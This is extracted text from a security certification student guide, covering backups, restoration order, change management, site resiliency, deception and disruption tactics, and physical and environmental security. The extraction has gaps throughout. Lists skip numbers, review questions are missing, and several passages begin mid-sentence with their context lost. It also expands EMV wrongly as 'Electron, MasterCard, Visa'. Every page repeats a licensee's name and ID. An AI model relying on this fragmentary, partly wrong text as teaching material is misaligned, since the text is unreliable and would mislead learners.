Utilities that support enterprise backup operations come with features to support
retention policies and media rotation. When considering a backup made against an
original copy of data, the backup can usually be performed using one of three main
types: full, incremental, and differential. In Windows, a full backup includes all selected
files and directories while incremental and differential backups check the status of the
archive attribute before including a file. The archive attribute is set whenever a file is
modified. This allows backup software to determine which files have been changed and
therefore need to be copied.
Linux doesn't support a file archive attribute. Instead, a date stamp is used to determine
whether the file has changed.
Backup/Restore
Type Data Selection Archive Attribute
Time
Full All selected data High/low (one tape Cleared
regardless of when set)
it was previously
backed up
Incremental New files, as well as Low/high (multiple Cleared
files modified since tape sets)
the last backup
Differential All new and modi- Moderate/moderate Not Cleared
fied files since the (no more than two
last full backup sets)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 525
The factors that determine which method to use are the time it takes to restore versus
the time it takes to back up. Assuming a backup is performed every working day, an
incremental backup only includes files changed during that day, while a differential
backup includes all files changed since the last full backup. Incremental backups save
backup time but can be more time-consuming when the system must be restored. The
system must be restored from the last full backup set and then from each incremental
backup that has subsequently occurred. A differential backup system only involves two
tape sets when restoration is required.
Do not combine differential and incremental backups. Use full backups interspersed with
differential backups or full backups interspersed with incremental backups.
Copy Backups
Most software also has the capability to do copy backups. These are made outside the
tape rotation system and do not affect the archive attribute.
Configuring VSS settings in Acronis Backup. (Screenshot used with permission from Acronis.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
526 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Virtual system managers can usually take snapshot or cloned copies of VMs. A
snapshot remains linked to the original VM, while a clone becomes a separate VM from
the point that the cloned image was made.
An image backup is made by duplicating an OS installation. This can be done either
from a physical hard disk or from a VM's virtual hard disk. Imaging allows the system
to be redeployed quickly, without having to reinstall third-party software, patches, and
configuration settings. A system image should generally not contain any user data files,
as these will quickly become out of date.
Offsite Storage
Additionally, you must plan for events that could compromise both the live data and
the backup set. Natural disasters, such as fires, earthquakes, and floods, could leave
an organization without a data backup, unless they have kept a copy offsite. Distance
consideration is a calculation of how far offsite the backup needs to be kept, given
different disaster scenarios. On the one hand, the media must be kept far away enough
not to be damaged by the disaster; on the other, media access should not slow down a
recovery operation too much.
Without a network that can support the required bandwidth, the offsite media must
be physically brought onsite (and if there is no second set of offsite media, data is
at substantial risk at this time), the latest backup performed, and then removed to
offsite storage again. Quite apart from the difficulty and expense of doing this, there
are data confidentiality and security issues in transporting the data. In recent years,
high-bandwidth Internet and high-capacity cloud storage providers have made offsite
backup solutions much more affordable and easy to implement.
The 3-2-1 rule states that you should have three copies of your data, across two media
types, with one copy held offline and offsite.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 527
Disk
Individual removable hard drives are an excellent low-cost option for SOHO network
backups, but they do not have sufficient capacity or flexibility to be used within an
automated enterprise backup solution.
Tape
Digital tape systems are a popular choice for institutions with multi-terabyte storage
requirements. Tape is very cost effective and, given a media rotation system, tapes can
be transported offsite. The latest generation of tape will store about 10-12 terabytes
per cartridge or up to about 30 TB with compression. The main drawback of tape is
that it is slow, compared to disk-based solutions, especially for restore operations.
Restoration Order
If a site suffers an uncontrolled outage, in ideal circumstances processing will be
switched to an alternate site and the outage can be resolved without any service
interruption. If an alternate processing site is not available, then the main site must be
brought back online as quickly as possible to minimize service disruption. This does
not mean that the process can be rushed, however. A complex facility such as a data
center or campus network must be reconstituted according to a carefully designed
order of restoration. If systems are brought back online in an uncontrolled way, there
is the serious risk of causing additional power problems or of causing problems in the
network, OS, or application layers because dependencies between different appliances
and servers have not been met.
In very general terms, the order of restoration will be as follows:
1. Enable and test power delivery systems (grid power, power distribution units
[PDUs], UPS, secondary generators, and so on).
2. Enable and test switch infrastructure, then routing appliances and systems.
4. Enable and test critical network servers (DHCP, DNS, NTP, and directory services).
5. Enable and test back-end and middleware (databases and business logic). Verify
data integrity.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
528 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Nonpersistence
When recovering systems, it may be necessary to ensure that any artifacts from
the disaster, such as malware or backdoors, are removed when reconstituting the
production environment. This can be facilitated in an environment designed for
nonpersistence. Nonpersistence means that any given instance is completely static
in terms of processing function. Data is separated from the instance so that it can be
swapped out for an "as new" copy without suffering any configuration problems. There
are various mechanisms for ensuring nonpersistence:
• Snapshot/revert to known state—this is a saved system state that can be reapplied
to the instance.
• Live boot media—another option is to use an instance that boots from read-only
storage to memory rather than being installed on a local read/write hard disk.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 529
Review Activity:
Backup Strategies
Answer the following questions:
1. What type of scheduled Windows backup job does not clear the archive
attribute?
4. You are advising a company about backup requirements for a few dozen
application servers hosting tens of terabytes of data. The company requires
online availability of short-term backups, plus offsite security media and
long-term archive storage. The company cannot use a cloud solution. What
type of on-premises storage solution is best suited to the requirement?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
530 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 20C
Implement Cybersecurity
Resiliency Strategies
Effective site management and cybersecurity resilience depend on change control and
configuration management. If this crucial documentation is not kept up to date, the
response to incident and disaster events will suffer from confusion, errors, and lost time.
As part of a cybersecurity program, you must also be able to implement techniques
that make things difficult for threat actors. Defense in depth and control diversity are
crucial in designing resilient systems. Deception and disruption tactics help to increase
the cost of attacks and so deter them.
Configuration Management
Response and recovery controls refer to the whole set of policies, procedures, and
resources created for incident and disaster response and recovery. These controls are
critical to cybersecurity, but they become increasingly difficult to provision at scale.
Effective response and recovery depend heavily on how well-organized IT systems
are at the site level. Without effective organizational policies to govern change and
configuration management, response and recovery is much harder.
Configuration management ensures that each component of ICT infrastructure is in
a trusted state that has not diverged from its documented properties. Change control
and change management reduce the risk that changes to these components could
cause service disruption.
ITIL® is a popular documentation of good and best practice activities and processes
for delivering IT services. Under ITIL, configuration management is implemented using
the following elements:
• Service assets are things, processes, or people that contribute to the delivery of an
IT service.
• A configuration management system (CMS) is the tools and databases that collect,
store, manage, update, and present information about CIs and their relationships.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 531
• Diagrams are the best way to capture the complex relationships between network
elements. Diagrams can be used to show how CIs are involved in business
workflows, logical (IP) and physical network topologies, and network rack layouts.
Remember, it is not sufficient simply to create the diagram, you must also keep the
diagram up to date.
Asset Management
An asset management process tracks all the organization's critical systems,
components, devices, and other objects of value in an inventory. It also involves
collecting and analyzing information about these assets so that personnel can make
more informed changes or otherwise work with assets to achieve business goals.
There are many software suites and associated hardware solutions available for
tracking and managing assets. An asset management database can be configured to
store as much or as little information as is deemed necessary, though typical data
would be type, model, serial number, asset ID, location, user(s), value, and service
information.
We are focusing on assets that require some degree of configuration (CIs). An organization
will also have many assets with no configuration requirement, such as furniture.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
532 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Change Control
A change control process can be used to request and approve changes in a planned
and controlled way. Change requests are usually generated when something needs
to be corrected, when something changes, or when there is room for improvement in
a process or system currently in place. The need to change is often described either
as reactive, where the change is forced on the organization, or as proactive, where
the need for change is initiated internally. Changes can also be categorized according
to their potential impact and level of risk (major, significant, minor, or normal, for
instance). In a formal change management process, the need or reasons for change
and the procedure for implementing the change is captured in a request for change
(RFC) document and submitted for approval.
The RFC will then be considered at the appropriate level and affected stakeholders will
be notified. This might be a supervisor or department manager if the change is normal
or minor. Major or significant changes might be managed as a separate project and
require approval through a change advisory board (CAB).
Change Management
The implementation of changes should be carefully planned, with consideration for
how the change will affect dependent components. For most significant or major
changes, organizations should attempt to trial the change first. Every change should be
accompanied by a rollback (or remediation) plan, so that the change can be reversed
if it has harmful or unforeseen consequences. Changes should also be scheduled
sensitively if they are likely to cause system downtime or other negative impact on
the workflow of the business units that depend on the IT system being modified. Most
networks have a scheduled maintenance window period for authorized downtime.
When the change has been implemented, its impact should be assessed, and the
process reviewed and documented to identify any outcomes that could help future
change management projects.
Site Resiliency
Enterprise-level networks often provision resiliency at the site level. An alternate
processing or recovery site is a location that can provide the same (or similar) level
of service. An alternate processing site might always be available and in use, while a
recovery site might take longer to set up or only be used in an emergency.
Operations are designed to failover to the new site until the previous site can be
brought back online. Failover is a technique that ensures a redundant component,
device, application, or site can quickly and efficiently take over the functionality of an
asset that has failed. For example, load balancers provide failover in the event that
one or more servers or sites behind the load balancer are down or are taking too long
to respond. Once the load balancer detects this, it will redirect inbound traffic to an
alternate processing server or site. Thus, redundant servers in the load balancer pool
ensure there is no or minimal interruption of service.
Site resiliency is described as hot, warm, or cold:
• A hot site can failover almost immediately. It generally means that the site is
already within the organization's ownership and is ready to deploy. For example,
a hot site could consist of a building with operational computer equipment that is
kept updated with a live data set.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 533
• A warm site could be similar, but with the requirement that the latest data set will
need to be loaded.
• A cold site takes longer to set up. A cold site may be an empty building with a lease
agreement in place to install whatever equipment is required when necessary.
Clearly, providing redundancy on this scale can be very expensive. Sites are often
leased from service providers. However, in the event of a nationwide emergency,
demand for the services is likely to exceed supply! Another option is for businesses to
enter into reciprocal arrangements to provide mutual support. This is cost effective but
complex to plan and set up.
Another issue is that creating a duplicate of anything doubles the complexity of
securing that resource properly. The same security procedures must apply to
redundant sites, spare systems, and backup data as apply to the main copy.
For many companies, the most cost-effective solution is to move processing and data
storage to the cloud.
• Endpoint security (technical control) on the laptop could scan the media for
malware or block access automatically.
• Security locks inserted into USB ports (physical control) on the laptop could prevent
attachment of media without requesting a key, allowing authorization checks to be
performed first.
• Permissions restricting Alan's user account (technical control) could prevent the
malware from executing successfully.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
534 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• The use of encrypted and digitally signed media (technical control) could prevent or
identify an attempt to tamper with it.
Vendor Diversity
As well as deploying multiple types of controls, you should consider the advantages
of leveraging vendor diversity. Vendor diversity means that security controls are
sourced from multiple suppliers. A single vendor solution is a tempting choice for many
organizations, as it provides interoperability and can reduce training and support costs.
Some disadvantages could include the following:
• Not obtaining best-in-class performance—one vendor might provide an effective
firewall solution, but the bundled malware scanning is found to be less effective.
• Less complex attack surface—a single vulnerability in a supplier's code could put
multiple appliances at risk in a single vendor solution. A threat actor will be able to
identify controls and possible weaknesses more easily.
Crypto Diversity
This concept can be extended to the selection of algorithms and implementations
of cryptography. Adoption of methods such as blockchain-based IAM (ibm.com/
blogs/blockchain/2018/10/decentralized-identity-an-alternative-to-password-based-
authentication) or selecting ChaCha in place of AES as a preferred cipher suite
(blog.cloudflare.com/it-takes-two-to-chacha-poly) forces threat actors to develop
new attack methods.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 535
software exploits, and spammers' abuse of open relay mail systems. These systems
are generally fully exposed to the Internet. On a production network, a honeypot is
more likely to be located in a DMZ, or on an isolated segment on the private network
(if the honeypot is seeking to draw out insider threats). This provides early warning
and evidence of whether an attacker has been able to penetrate to a given security
zone. This can help the security team find the source of the attack and take more
comprehensive steps to completely eradicate the threat from the organization.
A honeypot or honeynet can be combined with the concept of a honeyfile, which is
convincingly useful, but actually fake, data. This honeyfile can be made trackable, so
that when a threat actor successfully exfiltrates it, the attempts to resuse or exploit it
can be traced.
For example, an organization constructs a database full of benign or meaningless
data disguised as important financial records. This deception strategy might involve
breadcrumbs inserted into the production environment to subtly guide a threat actor
toward the spoofed "loot" (fidelissecurity.com/threatgeek/deception/breadcrumbs-
intelligent-deception). The database is placed behind a subnet with lowered defenses,
which baits an attacker into trying to exfiltrate this useless data. Identifying the attacker
also allows an organization to pursue an attribution strategy. Attribution means the
organization publicizes the attacker's role and publishes the methods used as threat
intelligence.
Disruption Strategies
Another type of active defense uses disruption strategies. These adopt some of the
obfuscation strategies used by malicious actors. The aim is to raise the attack cost and
tie up the adversary's resources. Some examples of disruption strategies include:
• Using bogus DNS entries to list multiple hosts that do not exist.
• Using port triggering or spoofing to return fake telemetry data when a host detects
port scanning activity. This will result in multiple ports being falsely reported as
open and will slow down the scan. Telemetry can refer to any type of measurement
or data returned by remote scanning. Similar fake telemetry could be used to report
IP addresses as up when they are not, for instance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
536 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Cybersecurity Resiliency Strategies
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 537
Lesson 20
Summary
You should be able to use redundancy, backup, configuration/change management,
diversity, and deception to improve cybersecurity resilience.
• Ensure that changes to workflows and assets are governed by change control and
change management processes.
• Develop a backup strategy and ensure that the order of restoration is fully tested:
• Select media that meets storage and onsite/offsite plus online/offline storage
requirements (disk, tape, NAS, and SAN).
• Using risk assessments, identify assets that have high-availability requirements and
provision redundancy to meet this requirement:
• Dual power supply, PDUs, PSUs, and generators to make power system resilient.
• NIC teaming, multiple paths, and load balancing to make networks resilient.
• Use risk assessments and impact analysis to identify whether technology, control,
vendor, or crypto diversity could be increased to benefit resiliency.
• Use threat awareness and risk assessment to determine whether deception and
active defense strategies, such as decoy/honeypot assets and fake telemetry, could
benefit resiliency.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 21
Explaining Physical Security
LESSON INTRODUCTION
Risks from intrusion by social engineering, wireless backdoors, and data exfiltration by
mobile devices all mean that physical security is a critical consideration for site design
and operations. The premises in which networks are installed need to use access
control mechanisms and be resilient to person-made and natural disasters, such
as fire.
Lesson Objectives
In this lesson, you will:
• Explain the importance of physical site security controls.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
540 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 21A
Explain the Importance of Physical
Site Security Controls
If an attacker can gain physical access to your premises, there may be lots of
opportunities to install rogue devices, vandalize or disrupt systems, or observe
confidential information. Consequently, as a security professional, you should be able
to explain the importance of installing access and monitoring controls that protect sites
against physical intrusion.
• Accounting—keep a record of when entry/exit points are used and detect security
breaches.
Physical security can be thought of in terms of zones. Each zone should be separated
by its own barrier(s). Entry and exit points through the barriers need to be controlled
by one or more security mechanisms. Progression through each zone should be
progressively more restricted.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 541
• Use a demilitarized zone (DMZ) design for the physical space. Position public access
areas so that guests do not pass near secure zones. Security mechanisms in public
areas should be highly visible, to increase deterrence.
• Use signage and warnings to enforce the idea that security is tightly controlled.
Beyond basic no trespassing signs, some homes and offices also display signs from
the security companies whose services they are currently using. These may convince
intruders to stay away.
• Try to minimize traffic having to pass between zones. The flow of people should be
"in and out" rather than "across and between."
• Give high-traffic public areas high visibility, so that covert use of gateways, network
access ports, and computer equipment is hindered, and surveillance is simplified.
• In secure zones, do not position display screens or input devices facing toward
pathways or windows. Alternatively, use one-way glass so that no one can look in
through windows.
Sites where there is a risk of a terrorist attack will use barricades such as bollards and
security posts to prevent vehicles from approaching closely to a building at high speed.
Fencing
The exterior of a building may be protected by fencing. Security fencing needs to be
transparent (so that guards can see any attempt to penetrate it), robust (so that it is
difficult to cut), and secure against climbing (which is generally achieved by making it tall
and possibly by using razor wire). Fencing is generally effective, but the drawback is that
it gives a building an intimidating appearance. Buildings that are used by companies to
welcome customers or the public may use more discreet security methods.
Lighting
Security lighting is enormously important in contributing to the perception that a
building is safe and secure at night. Well-designed lighting helps to make people feel
safe, especially in public areas or enclosed spaces, such as parking garages. Security
lighting also acts as a deterrent by making intrusion more difficult and surveillance
(whether by camera or guard) easier. The lighting design needs to account for overall
light levels, the lighting of particular surfaces or areas (allowing cameras to perform
facial recognition, for instance), and avoiding areas of shadow and glare.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
542 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Generic examples of locks—From left to right, a standard key lock, a deadbolt lock, and an electronic
keypad lock. (Images from user macrovector © 123RF.com.)
Generic examples of a biometric thumbprint scanner lock and a token-based key card lock.
(Images from user macrovector © 123RF.com.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 543
Mantraps
Apart from being vulnerable to lock picking, the main problem with a simple door or
gate as an entry mechanism is that it cannot accurately record who has entered or left
an area. Multiple people may pass through the gateway at the same time; a user may
hold a door open for the next person; an unauthorized user may "tailgate" behind an
authorized user. This risk may be mitigated by installing a turnstile (a type of gateway
that only allows one person through at a time). The other option is to add some sort of
surveillance on the gateway. Where security is critical and cost is no object, an access
control vestibule, or mantrap, could be employed. A mantrap is where one gateway
leads to an enclosed space protected by another barrier.
Cable Locks
Cable locks attach to a secure point on the device chassis. A server chassis might come
with both a metal loop and a Kensington security slot. As well as securing the chassis
to a rack or desk, the position of the secure point prevents the chassis from being
opened, without removing the cable first.
These attacks can generally only target "dumb" smart cards that transfer tokens rather
than perform cryptoprocessing. Bank-issued smart cards, referred to as EMV (Electron,
MasterCard, Visa), can also be vulnerable through the magnetic strip, which is retained
for compatibility.
When evaluating risks from card cloning and skimming, you need to realize that there are
many types of "smart card." For example, old MIFARE Classic cards used as public transit
payment cards are easily cloned because they use a weak cryptographic implementation.
Building entry systems using contactless cards with no cryptoprocessing are also vulnerable
(youtube.com/watch?v=cxxnuofREcM). Cloning of MIFARE EV or EMV smart cards that
implement a TPM-like cryptoprocessor is not thought to be possible.
Malicious USB charging cables and plugs are also a widespread problem. As with card
skimming, a device may be placed over a public charging port at airports and other
transit locations. A USB data blocker can provide mitigation against these juice-
jacking attacks by preventing any sort of data transfer when the smartphone or laptop
is connected to a charge point (zdnet.com/article/this-cheap-gadget-can-stop-your-
smartphone-or-tablet-being-hacked-at-an-airport-hotel-or-cafe).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
544 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
may be fitted with bars, locks, or alarms to prevent intrusion. Also consider pathways
above and below, such as false ceilings and ducting. There are five main types of alarm:
• Circuit—a circuit-based alarm sounds when the circuit is opened or closed,
depending on the type of alarm. This could be caused by a door or window opening
or by a fence being cut. A closed-circuit alarm is more secure because an open
circuit alarm can be defeated by cutting the circuit.
• Proximity—radio frequency ID (RFID) tags and readers can be used to track the
movement of tagged objects within an area. This can form the basis of an alarm
system to detect whether someone is trying to remove equipment.
Circuit-based alarms are typically suited for use at the perimeter and on windows
and doors. These may register when a gateway is opened without using the lock
mechanism properly or when a gateway is held open for longer than a defined period.
Motion detectors are useful for controlling access to spaces that are not normally
used. Duress alarms are useful for exposed staff in public areas. An alarm might simply
sound an alert or it may be linked to a monitoring system. Many alarms are linked
directly to local law enforcement or to third-party security companies. A silent alarm
alerts security personnel rather than sounding an audible alarm.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 545
The cameras in a CCTV network are typically connected to a multiplexer using coaxial
cabling. The multiplexer can then display images from the cameras on one or more
screens, allow the operator to control camera functions, and record the images to tape
or hard drive. Newer camera systems may be linked in an IP network, using regular
data cabling.
If you consider control types, a security guard is a preventive control, as the guard can both
discover and act to prevent an attack. A camera is a detective control only.
Camera systems and robotics can use AI and machine learning to implement smart
physical security (theverge.com/2018/1/23/16907238/artificial-intelligence-surveillance-
cameras-security):
• Motion recognition—the camera system might be configured with gait identification
technology. This means that the system can generate an alert when anyone moves
within sight of the camera and the pattern of their movement does not match a
known and authorized individual.
• Object detection—the camera system can detect changes to the environment, such
as a missing server, or unknown device connected to a wall port.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
546 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Intruders and/or security guards may be armed. The safety of staff and compliance
with local laws has to be balanced against the imperative to protect the company's
other resources.
It is much easier for employees to use secure behavior in these situations if they know
that their actions are conforming to a standard of behavior that has been agreed upon
and is expected of them.
Two-Person Integrity/Control
Reception areas for high-security zones might be staffed by at least two people at all
times, providing integrity for entry control and reducing the risk of insider threat.
ID Badges
A photographic ID badge showing name and (perhaps) access details is one of the
cornerstones of building security. Anyone moving through secure areas of a building
should be wearing an ID badge; anyone without an ID badge should be challenged.
Color-coding could be used to make it obvious to which zones a badge is granted
access.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 547
Review Activity:
Physical Site Security Controls
Answer the following questions:
3. What are the two main options for mobile camera surveillance?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
548 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 21B
Explain the Importance of Physical
Host Security Controls
As with data networks, perimeter defenses are not sufficient to ensure the security of
hosts within a site. As well as the risk that the perimeter could be breached, security
systems must also be resilient against insider threats. You need to deploy additional
controls to secure areas, such as computer rooms and data centers.
Environmental security ensures that risks to availability from hosts overheating are
minimized. All sites also need effective procedures for the disposal of equipment and
paper records, to ensure that confidential data remnants are not at risk of exposure.
Secure Areas
A secure area is designed to store critical assets with a higher level of access protection
than general office areas. The most vulnerable point of the network infrastructure will
be the communications or server room. This should be subject to the most stringent
access and surveillance controls that can be afforded. Similar measures apply to
hardening access to data centers.
Installing equipment within secure cabinets/enclosures provides mitigation
against insider attack and attacks that have broken through the perimeter security
mechanisms. These can be supplied with key-operated or electronic locks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 549
Some data centers may contain racks with equipment owned by different companies
(colocation). These racks can be installed inside cages so that technicians can only
physically access the racks housing their own company's servers and appliances.
Colocation cages. (Image © Chris Dag and shared with CC BY 2.0 flickr.com/photos/
chrisdag/865711871.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
550 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A hardened PDS is one where all cabling is routed through sealed metal conduit and
subject to periodic visual inspection. Lower-grade options are to use different materials
for the conduit (plastic, for instance). Another option is to install an alarm system within
the cable conduit, so that intrusions can be detected automatically.
It is possible to install communications equipment within a shielded enclosure,
known as a Faraday Cage. The cage is a charged conductive mesh that blocks
signals from entering or leaving the area. The risk of eavesdropping from leakage
of electromagnetic signals was investigated by the US DoD who defined TEMPEST
(Transient Electromagnetic Pulse Emanation Standard) as a means of shielding the
signals.
Use a portable monitor to verify that the HVAC's temperature and humidity sensors are
returning the correct readings.
Some data centers (notably those operated by Google) are allowing higher temperatures
(up to around 26°C/80°F). This can achieve significant energy cost savings and modern
electronics is proving reliable at this temperature.
The positive air pressure created by the HVAC system also forces contaminants such as
dust out of the facility. Filters on HVAC systems collect the dust and must be changed
regularly. When using an air conditioning system, ensure that it is inspected and
maintained periodically. Systems may be fitted with alarms to alert staff to problems.
Mission critical systems may require a backup air conditioning system.
The server room should not be used as storage space. Do not leave boxes or unused
equipment in it. Also, do not install unnecessary devices that generate a lot of heat and
dust, such as printers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 551
Hot aisle containment design—Cold air circulates from the air conditioner under the floor and around
the rack, while hot air is drawn from between the racks through the ceiling space (plenum) to a heat
exchanger. In this design, it is important that hot air does not leak from the ceiling or from the floor
space between the racks. (Image © 123RF.com.)
Make sure that cabling is secured by cable ties or ducting and does not run across
walkways. Cable is best run using a raised floor. If running cable through plenum
spaces, make sure it is fire-retardant and be conscious of minimizing proximity to
electrical sources, such as electrical cable and fluorescent light, which can corrupt data
signals (Electromagnetic Interference [EMI]). You also need to ensure that there is
sufficient space in the plenum for the air conditioning system to work properly—filling
the area with cable is not the best idea.
To reduce interference, data/network cabling should not be run parallel to power cabling. If
EMI is a problem, shielded cabling can be installed. Alternatively, the copper cabling could
be replaced with fiber optic cabling, which is not susceptible to EMI.
• Building design that does not allow fire to spread quickly, by separating different
areas with fire-resistant walls and doors.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
552 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Automatic smoke or fire detection systems, as well as alarms that can be operated
manually.
Fire suppression systems work on the basis of the fire triangle. The fire triangle
works on the principle that a fire requires heat, oxygen, and fuel to ignite and burn.
Removing any one of those elements provides fire suppression (and prevention). In
the US (and most other countries), fires are divided by class under the NFPA (National
Fire Protection Association) system, according to the combustible material that fuels
the fire. Portable fire extinguishers come in several different types, with each type
being designed for fighting a particular class of fire. Notably, Class C extinguishers use
gas-based extinguishing and can be used where the risk of electric shock makes other
types unsuitable.
Premises may also be fitted with an overhead sprinkler system. Wet-pipe sprinklers
work automatically, are triggered by heat, and discharge water. Wet-pipe systems
constantly hold water at high pressure, so there is some risk of burst pipes and
accidental triggering, as well as the damage that would be caused in the event of
an actual fire. There are several alternatives to wet-pipe systems that can minimize
damage that may be caused by water flooding the room.
• Dry-pipe—these are used in areas where freezing is possible; water only enters this
part of the system if sprinklers elsewhere are triggered.
• Pre-action—a pre-action system only fills with water when an alarm is triggered;
it will then spray when the heat rises. This gives protection against accidental
discharges and burst pipes and gives some time to contain the fire manually before
the sprinkler operates.
• Halon—gas-based systems have the advantage of not short circuiting electrical
systems and leaving no residue. Up until a few years ago, most systems used Halon
1301. The use of Halon has been banned in most countries as it is ozone depleting,
though existing installations have not been replaced in many instances and can
continue to operate legally.
• Clean agent—alternatives to Halon are referred to as "clean agent." As well as not
being environmentally damaging, these gases are considered nontoxic to humans.
Examples include INERGEN (a mixture of CO2, argon, and nitrogen), FM-200/HFC-
227, and FE-13. The gases both deplete the concentration of oxygen in the area
(though not to levels dangerous to humans) and have a cooling effect. CO2 can be
used too, but it is not safe for use in occupied areas.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 553
Active KillDisk data wiping software. (Screenshot used with permission from LSoft Technologies, Inc.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
554 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Examples of tools supporting secure file or disk erasing include Sdelete (part of Sysinternals
docs.microsoft.com/sysinternals) and Darik's Boot and Nuke (dban.org), plus the Active
KillDisk suite shown here.
If the device firmware does not support encryption, using a software disk encryption
product and then destroying the key and using SE should be sufficient for most
confidentiality requirements.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 555
Review Activity:
Physical Host Security Controls
Answer the following questions:
2. Where would you expect to find "hot and cold" aisles and what is their
purpose?
4. What physical security device could you use to ensure the safety of onsite
backup tapes?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
556 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 21
Summary
You should be able to explain the importance of physical security controls for access,
surveillance, environmental protection, and secure data destruction.
• Secure the site perimeter and access points using fencing, barricades/bollards, and
locks (physical, electronic, and biometric). If using smart cards, use a type that is
resistant to cloning/skimming.
• Monitor the site using security guards, CCTV, robot sentries, and drones/UAV, and
use effective lighting to maximize surveillance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A
Mapping Course Content to CompTIA
Security+ (Exam SY0-601)
Achieving CompTIA Security+ certification requires candidates to pass Exam SY0-601.
This table describes where the exam objectives for Exam SY0-601 are covered in this
course.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-2 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-3
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-4 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-5
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-6 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-7
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-8 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-9
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-10 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-11
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-12 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-13
